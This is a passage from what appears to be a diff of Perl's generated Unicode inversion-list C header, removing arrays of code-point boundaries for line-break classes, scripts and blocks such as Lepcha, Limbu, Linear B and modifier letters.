the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x2018, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2020, - 0x2039, - 0x203B, - 0x275B, - 0x2761, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E22, - 0x1F676, - 0x1F679 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__SA_invlist[] = { /* for all charsets */ - 85, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xEDC, - 0xEE0, - 0x1000, - 0x1040, - 0x1050, - 0x1090, - 0x109A, - 0x10A0, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19DA, - 0x19DB, - 0x19DE, - 0x19E0, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1AA0, - 0x1AAE, - 0xA9E0, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA60, - 0xAAC3, - 0xAADB, - 0xAAE0, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x1173A, - 0x1173C, - 0x1173F, - 0x11740 -}; - -static const UV PL_LB__SG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD800, - 0xE000 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__SP_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x21 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__SP_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__SP_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__SY_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2F, - 0x30 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__SY_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x62 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__SY_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x62 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__WJ_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2060, - 0x2061, - 0xFEFF, - 0xFF00 -}; - -static const UV PL_LB__XX_invlist[] = { /* for all charsets */ - 1216, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xE000, - 0xF900, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_LB__ZW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x200B, - 0x200C -}; - -static const UV PL_LB__ZWJ_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x200D, - 0x200E -}; - -static const UV PL_LEPC_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C50 -}; - -static const UV PL_LETTERLIKESYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2100, - 0x2150 -}; - -static const UV PL_LIMB_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x965, - 0x966, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1950 -}; - -static const UV PL_LINA_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10107, - 0x10134, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768 -}; - -static const UV PL_LINB_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140 -}; - -static const UV PL_LINEARBIDEOGRAMS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10080, - 0x10100 -}; - -static const UV PL_LINEARBSYLLABARY_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10000, - 0x10080 -}; - -static const UV PL_LISU_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA4D0, - 0xA500 -}; - -static const UV PL_LM_invlist[] = { /* for all charsets */ - 115, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B0, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x559, - 0x55A, - 0x640, - 0x641, - 0x6E5, - 0x6E7, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x971, - 0x972, - 0xE46, - 0xE47, - 0xEC6, - 0xEC7, - 0x10FC, - 0x10FD, - 0x17D7, - 0x17D8, - 0x1843, - 0x1844, - 0x1AA7, - 0x1AA8, - 0x1C78, - 0x1C7E, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3006, - 0x3031, - 0x3036, - 0x303B, - 0x303C, - 0x309D, - 0x309F, - 0x30FC, - 0x30FF, - 0xA015, - 0xA016, - 0xA4F8, - 0xA4FE, - 0xA60C, - 0xA60D, - 0xA67F, - 0xA680, - 0xA69C, - 0xA69E, - 0xA717, - 0xA720, - 0xA770, - 0xA771, - 0xA788, - 0xA789, - 0xA7F8, - 0xA7FA, - 0xA9CF, - 0xA9D0, - 0xA9E6, - 0xA9E7, - 0xAA70, - 0xAA71, - 0xAADD, - 0xAADE, - 0xAAF3, - 0xAAF5, - 0xAB5C, - 0xAB60, - 0xFF70, - 0xFF71, - 0xFF9E, - 